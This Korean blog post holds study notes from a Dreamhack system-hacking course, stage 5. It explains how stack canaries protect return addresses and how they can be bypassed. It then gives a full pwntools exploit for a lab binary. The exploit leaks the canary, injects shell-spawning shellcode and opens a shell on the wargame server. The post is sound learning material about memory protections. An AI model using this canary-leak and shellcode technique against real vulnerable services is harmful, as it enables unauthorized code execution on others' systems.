본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 5

by 단월໒꒱ 2022. 1. 30.

[Stack Canary]

1. 스택 카나리

 1) 스택 카나리

   - 스택 버퍼 오버플로우로부터 반환 주소를 보호

   - 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법

   - 카나리 값의 변조가 확인되면 프로세스 강제 종료

   - 스택 버퍼 오버플로우로 반환 주소를 덮으려면 반드시 카나리를 먼저 덮어야함

       -> 공격자는 반환 주소를 덮을 때 카나리 값을 변조하게 됨

       -> 이렇게 되면 함수의 에필로그에서 변조가 확인되어 공격자는 실행 흐름 획득 불가능

 

 

 

2. 카나리 작동 원리

  - 예제 코드 (스택 버퍼 오버플로우 취약점 존재)

 

// Name: canary.c
#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

 

 

 1) 카나리 정적 분석

  ① 카나리 비활성화

     - 컴파일 시 컴파일 옵션으로 -fno-stack-protector 옵션을 추가해야 카나리 없이 컴파일 가능

 

 

     - 이렇게 긴 입력을 주면 반환 주소가 덮여서 Segmentation fault 발생

 

  ② 카나리 활성화

 

 

     - 카나리를 적용하여 다시 컴파일 하고 긴 입력을 주면 stack smashing detected와 Aborted라는 에러 발생

     - 이는 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료되었음을 의미

 

 

 2) 카나리 동적 분석

  ① 카나리 저장

 

 

 

     - 추가된 프롤로그의 코드에 중단점 설정하고 실행시킴

 

 

 

 

     - main+8은 fs:0x28의 데이터를 읽어서 rax에 저장

     - fs : 일종의 세그먼트 레지스터 (리눅스는 프로세스 시작될 때 fs:0x28에 랜덤 값을 저장)

     - 따라서 main+8의 결과로 rax에는 리눅스가 생성한 랜덤 값이 저장됨

 

 

 

 

 

     - 코드를 한 줄 실행하면 rax에 위와 같이 첫 바이트가 null 바이트인 8바이트 데이터가 저장되어 있음

 

 

 

 

     - 생성한 랜덤 값은 main+17에서 rbp-0x8에 저장됨

 

     - cf) fs : 세그먼트 레지스터로 리눅스는 이를 TLS를 가리키는 포인터로 사용

 

  ② 카나리 검사

 

 

 

     - 추가된 에필로그의 코드에 중단점 설정하고 계속 실행시킴

     - main+50은 rbp-8에 저장한 카나리를 rcx로 옮김

     - main+54에서 rcx를 fs:0x28에 저장된 카나리와 xor함

     - 두 값이 동일하면 je 조건 만족 -> main 함수 정상 반환

     - 두 값이 동일하지 않으면 _stack_chk_fall 호출 -> 프로그램 강제 종료

 

 

 

 

     - 코드를 한 줄 실행시키면 rbp-0x8에 저장된 카나리 값이 버퍼 오버플로우로 인해 위와 같이 변함

 

 

 

 

     - main+54의 연산 결과가 0이 아니므로 main+63에서 main+70으로 분기하지 않고 main+65의 _stack_chk_fall 실행

 

 

 

 

     - 한줄 더 실행시켜서 함수를 실행시키면 위와 같은 메세지가 출력되며 프로세스가 강제 종료됨

 

 

3. 카나리 생성 과정

 1) 카나리 생성 과정

   - 카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장되고 각 함수마다 프롤로그와 에필로그에서 이 값을 참조함

 

 2) TLS의 주소 파악

   - fs는 TLS를 가리킴 -> fs 값을 알면 TLS의 주소를 알 수 있음

   -  리눅스에서는 fs의 값은 특정 시스템 콜을 사용해야 조회하거나 설정 가능

   - 여기서는 fs의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템콜에 중단점 설정하여 관찰

 

 

 

 

     - catch : 특정 이벤트가 발생했을 때, 프로세스를 중지시킴

     - catch 명령어로 arch_prctl에 catchpoint를 설정하고 실행시킴

 

 

 

 

     - rsi의 값이 0x7ffff7fdb4c0이므로 이 프로세스는 TLS를 여기에 저장하고 fs는 여기를 가리키게 될 것

 

 

 

 

     - 카나리가 저장될 fs+0x8의 값을 보면 아직 어떤 값도 설정되어 있지 않은 것을 확인 가능

 

 3) 카나리 값 설정

 

 

 

   - watch : 특정 주소에 저장된 값이 변경되면 프로세스를 중단시킴

 

 

 

 

   - watchpoint를 설정하고 프로세스를 계속 진행시키면 security_init 함수에서 프로세스가 멈춤

 

 

 

 

   - 여기서 TLS+0x28의 값을 조회하면 0x2f35207b8c368d00이 카나리로 설정된 것을 확인할 수 있음

 

 

 

 

   - 실제로 위에서 구한 값이 main함수에서 사용하는 카나리 값인지 확인하기 위해 main 함수에 중단점을 설정하고 계속 실행시킴

   - mov rax, QWORD PTR fs:0x28를 실행하고 rax 값을 확인해보면 security_init에서 설정한 값과 같은 것을 확인할 수 있음

 

 

4. 카나리 우회

 1) 무차별 대입

   - x64 아키텍처 -> 8바이트의 카나리 생성 / x86 아키텍처 -> 4바이트의 카나리 생성

   - 각각의 카나리에는 NULL 바이트가 포함되어 있으므로 실제로는 7바이트와 3바이트의 랜덤한 값 포함됨

   - 무차별 대입으로 x64 아키텍처의 카나리 값을 알아내려면 최대 256^7번의 연산 필요

   - 연산량이 많아서 x64 아키텍처의 카나리는 이 방법으로 알아내는 게 현실적으로 어려움

   - 그나마 x86 아키텍처의 카나리는 구할 수 있지만 실제 서버를 대상으로 이 정도 횟수의 공격은 불가능

 

 2) TLS 접근

   - 카나리는 TLS에 전역변수로 저장되며 매 함수마다 이를 참조해서 사용함

   - TLS 주소는 매 실행마다 바뀜

      - 실행 중에 TLS 주소를 알 수 있음

     - 임의 주소에 대한 읽기, 또는 쓰기가 가능하면 TLS에 설정된 카나리 값을 읽거나 이를 임의로 조작 가능

   - 그 후에 스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값이나 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사 우회 가능

 

 

 

[함께실습] Stack Canary

[Exploit Tech: Return to Shellcode]

1. 분석

  - 예제 코드

 

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

 

 

 1) 보호기법 탐지

   - 보호기법을 파악할 때 주로 사용하는 툴 -> checksec

   - checksec을 사용하면 바이너리에 적용된 보호기법들을 파악 가능

 

 

 

 

   - checksec을 통해 파악할 수 있는 보호기법 : RELRO, Canary, NX, PIE

 

 2) 취약점 탐색

   ① buf의 주소

 

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);

 

      - 위의 예시코드를 통해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알 수 있음

 

   ② 스택 버퍼 오버플로우

 

char buf[0x50];
read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

 

      - 위의 코드를 보면 스택 버퍼인 buf에 두번의 입력을 받음

      - 입력 받는 두 부분 모두에서 오버플로우가 발생함

 

 3) 익스플로잇 시나리오

   ① 카나리 우회

      - 카나리가 조작되면 _stack_chk_fail 함수에 의해 프로그램이 강제 종료됨

      - 따라서 첫 번째 입력에서 카나리를 먼저 구하고 두번째 입력에서 이를 사용해야 함

      - 첫번째 입력 바로 뒤에서 buf를 문자열로 출력해주기 때문에 buf에 적절한 오버플로우를 발생시키면 카나리 값 획득 가능

 

read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

 

 

   ② 셀 획득

      - 카나리를 구했으면 두번째 입력으로 반환 주소를 덮을 수 있음

      - 주소를 알고 있는 buf에 셸코드를 주입하고 해당 주소로 실행 흐름을 옮기면 셀 획득 가능

 

 

2. 익스플로잇

 1) 스택 프레임 정보 수집

   - 스택을 이용하여 공격할 것이므로 스택 프레임의 구조를 먼저 파악해야 함

  

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./r2s")

context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)

p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)

 

 

 

 

2) 카나리 릭

   - buf와 카나리 사이를 임의의 값으로 채우면 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것

   

 

 

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)

 

 

 

 

 3) 익스플로잇

   - 카나리 값을 구했으므로 buf에 셸 코드를 주입하고 카나리를 구한 값으로 덮은 뒤 RET를 buf로 덮으면 셸코드를 실행시킬 수 있음

   - context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있음

 

 

 

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)

p.interactive()

 

 

 

 

<익스플로잇 전체 코드>

 

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./r2s")
context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)

p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received

p.sendlineafter("Input:", payload)

p.interactive()

 

 

 

[Return to Shellcode]

 

 

 

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

주어진 파일을 다운 받고 c파일을 열고 코드를 확인해보았다.

 

 

from pwn import *

p = remote("host1.dreamhack.games", 16604)
context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)

p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
log.info("buf <=> sfp = %d", buf2sfp)
log.info("buf <=> canary = %d", buf2cnry)

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received

p.sendlineafter("Input:", payload)

p.interactive()

 

 

이전 단계에서 사용했던 익스플로잇 코드를 살짝 바꾸었다.

다른 부분은 이전 단계에서 설명했으므로 넘어가고 바꾼 부분은 접속 파트 부분이랑 버퍼 사이의 크기를 출력하는 부분이다.

접속 파트 부분은 이전에 다뤘던 문제들을 참고해서 바꿔주었다.

사실 버퍼 사이의 크기를 출력하는 부분은 다른 출력 부분들과 함께 지워버리고 싶었는데 왜인지 저 부분을 지우면 flag가 뜨지 않았다...

매번 그랬는지는 모르겠지만 아무튼 한두번 시도 했을 때 안돼서 일단은 포함시켜두었다.

 

 

 

 

완벽하지는 않았는지 위의 화면처럼 이것저것 너무 많이 뜨긴 했는데 어쨌든 py 파일을 실행시키니 출력 내용도 잘 뜨고 커맨드를 입력할 수 있었다.

ls로 파일을 확인한 뒤 cat으로 flag의 내용을 확인할 수 있었다.

 

 

 

 

 

댓글